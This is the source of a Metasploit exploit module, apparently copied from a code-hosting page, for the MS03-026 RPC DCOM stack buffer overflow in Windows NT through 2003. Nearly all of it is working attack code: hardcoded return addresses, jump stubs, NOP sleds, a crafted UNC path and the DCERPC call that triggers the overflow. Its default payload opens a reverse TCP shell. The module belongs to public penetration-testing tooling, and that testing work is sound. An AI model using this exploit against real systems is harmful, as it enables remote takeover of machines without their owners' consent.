Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/dcerpc/ms03_026_dcom.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::DCERPC910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MS03-026 Microsoft RPC DCOM Interface Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the RPCSS service, this vulnerability17was originally found by the Last Stage of Delirium research group and has been18widely exploited ever since. This module can exploit the English versions of19Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)20},21'Author' => [ 'hdm', 'spoonm', 'cazz' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2003-0352' ],25[ 'OSVDB', '2100' ],26[ 'MSB', 'MS03-026' ],27[ 'BID', '8205' ],28],29'Privileged' => true,30'DefaultOptions' => {31'EXITFUNC' => 'thread',32'PAYLOAD' => 'windows/shell/reverse_tcp'33},34'Payload' => {35'Space' => 880,36'MinNops' => 300,37'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",38'StackAdjustment' => -350039},40'Platform' => %w[win],41'Targets' => [42# Target 0: Universal43[44'Windows NT SP3-6a/2000/XP/2003 Universal',45{46'Platform' => 'win',47'Rets' =>48[490x77f33723, # Windows NT 4.0 SP6a (esp)500x7ffde0eb, # Windows 2000 writable address + jmp+0xe0510x010016c6, # Windows 2000 Universal (ebx)520x01001c59, # Windows XP SP0/SP1 (pop pop ret)530x001b0b0b, # Windows 2003 call near [ebp+0x30] (unicode.nls - thanks Litchfield!)540x776a240d, # Windows NT 4.0 SP5 (eax) ws2help.dll550x74ff16f3, # Windows NT 4.0 SP3/4 (pop pop ret) rnr20.dll56]57},58],59],60'Notes' => {61'Stability' => [ CRASH_SERVICE_DOWN ],62'SideEffects' => [ IOC_IN_LOGS ],63'Reliability' => [ REPEATABLE_SESSION ]64},65'DefaultTarget' => 0,66'DisclosureDate' => '2003-07-16'67)68)69end7071# don't bother with this module for autoexploitation, it creates72# false-positives on newer systems.73def autofilter74false75end7677def check78begin79connect80rescue Rex::Proto::SMB::Exceptions::ErrorCode => e81return CheckCode::Safe("SMB error: #{e.message}")82end8384handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [rport])8586begin87dcerpc_bind(handle)88rescue Rex::Proto::SMB::Exceptions::ErrorCode => e89return CheckCode::Safe("SMB error: #{e.message}")90end9192CheckCode::Detected93end9495def exploit96connect97print_status("Trying target #{target.name}...")9899handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [rport])100101print_status("Binding to #{handle} ...")102103begin104dcerpc_bind(handle)105rescue Rex::Proto::SMB::Exceptions::ErrorCode => e106fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")107end108109# Carefully create the combination of addresses and code for cross-os exploitation110xpseh = rand_text_alphanumeric(360, payload_badchars)111112# Jump to [esp-4] - (distance to shellcode)113jmpsc =114"\x8b\x44\x24\xfc" + # mov eax,[esp-0x4]115"\x05\xe0\xfa\xff\xff" + # add eax,0xfffffae0 (sub eax, 1312)116Rex::Arch::X86.jmp_reg('eax') # jmp eax117118# Jump to [ebp+0x30] - (distance to shellcode) - thanks again Litchfield!119jmpsc2k3 =120"\x8b\x45\x30" + # mov eax,[ebp+0x30]121"\x05\x24\xfb\xff\xff" + # add eax,0xfffffb24 (sub 1244)122Rex::Arch::X86.jmp_reg('eax') # jmp eax123124# Windows 2003 added by spoonm125xpseh[246 - jmpsc2k3.length, jmpsc2k3.length] = jmpsc2k3126xpseh[246, 2] = Rex::Arch::X86.jmp_short("$-#{jmpsc2k3.length}")127xpseh[250, 4] = [ target['Rets'][4] ].pack('V')128129xpseh[306, 2] = Rex::Arch::X86.jmp_short('$+8')130xpseh[310, 4] = [ target['Rets'][3] ].pack('V')131xpseh[314, jmpsc.length] = jmpsc132133#134# NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both135# NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4136# HD wrote NT 4.0 SP6a, and it's off in a different place137#138# Our NT 4.0 SP3/SP4/SP5 overwrites will look something like this:139# (hopefully I'm accurate, this is from my memory...)140#141# |---pop pop ret-------- --eax---|142# V | | V143# [ jmp +17 ] [ ret sp3/4 ] [ ret sp5 ] [ jmpback sp5 ] [ jmpback sp3/4 ]144# 4 4 4 5 5145# | ^146# --------------------------------------------------|147# The jmpback's all are 5 byte backwards jumps into our shellcode that148# sits just below these overwrites...149#150151nt4sp3jmp = Rex::Arch::X86.jmp_short("$+#{12 + 5}") +152rand_text(2, payload_badchars)153154nt4sp5jmpback = "\xe9" + [ ((5 + 4 + payload.encoded.length) * -1) ].pack('V')155nt4sp3jmpback = "\xe9" + [ ((12 + 5 + 5 + payload.encoded.length) * -1) ].pack('V')156ntshiz =157nt4sp3jmp +158[ target['Rets'][6] ].pack('V') +159[ target['Rets'][5] ].pack('V') +160nt4sp5jmpback +161nt4sp3jmpback162163# Pad to the magic value of 118 bytes164ntshiz += rand_text(118 - ntshiz.length, payload_badchars)165166# Create the evil UNC path used in the overflow167uncpath =168Rex::Text.to_unicode('\\\\') +169make_nops(32) +170171# When attacking NT 4.0, jump over 2000/XP return172Rex::Arch::X86.jmp_short(16) +173Rex::Arch::X86.jmp_short(25) +174[ target['Rets'][2] ].pack('V') + # Return address for 2000 (ebx)175[ target['Rets'][0] ].pack('V') + # Return address for NT 4.0 SP6 (esi)176[ target['Rets'][1] ].pack('V') + # Writable address on 2000 and jmp for NT 4.0177make_nops(88) +178Rex::Arch::X86.jmp_short(4) +179rand_text(4, payload_badchars) +180make_nops(8) +181Rex::Arch::X86.jmp_short(4) +182Rex::Arch::X86.jmp_short(4) +183make_nops(4) +184Rex::Arch::X86.jmp_short(4) +185rand_text(4, payload_badchars) +186payload.encoded +187ntshiz +188xpseh +189Rex::Text.to_unicode("\\\x00")190191# This is the rpc cruft needed to trigger the vuln API192stubdata =193NDR.short(5) +194NDR.short(1) +195NDR.long(0) +196NDR.long(0) +197rand_text(16) +198NDR.long(0) +199NDR.long(0) +200NDR.long(0) +201NDR.long(0) +202NDR.long(0) +203NDR.long(rand(0xFFFFFFFF)) +204NDR.UnicodeConformantVaryingStringPreBuilt(uncpath) +205NDR.long(0) +206NDR.long(rand(0xFFFFFFFF)) +207NDR.long(rand(0xFFFFFFFF)) +208NDR.long(1) +209NDR.long(rand(0xFFFFFFFF)) +210NDR.long(1) +211NDR.long(rand(0xFFFFFFFF)) +212NDR.long(rand(0xFFFFFFFF)) +213NDR.long(rand(0xFFFFFFFF)) +214NDR.long(rand(0xFFFFFFFF)) +215NDR.long(1) +216NDR.long(1) +217NDR.long(rand(0xFFFFFFFF))218219print_status("Calling DCOM RPC with payload (#{stubdata.length} bytes) ...")220221begin222dcerpc_call(0, stubdata, nil, false)223rescue StandardError => e224raise e unless e.to_s.include?('STATUS_PIPE_DISCONNECTED')225end226227handler228disconnect229end230end231232233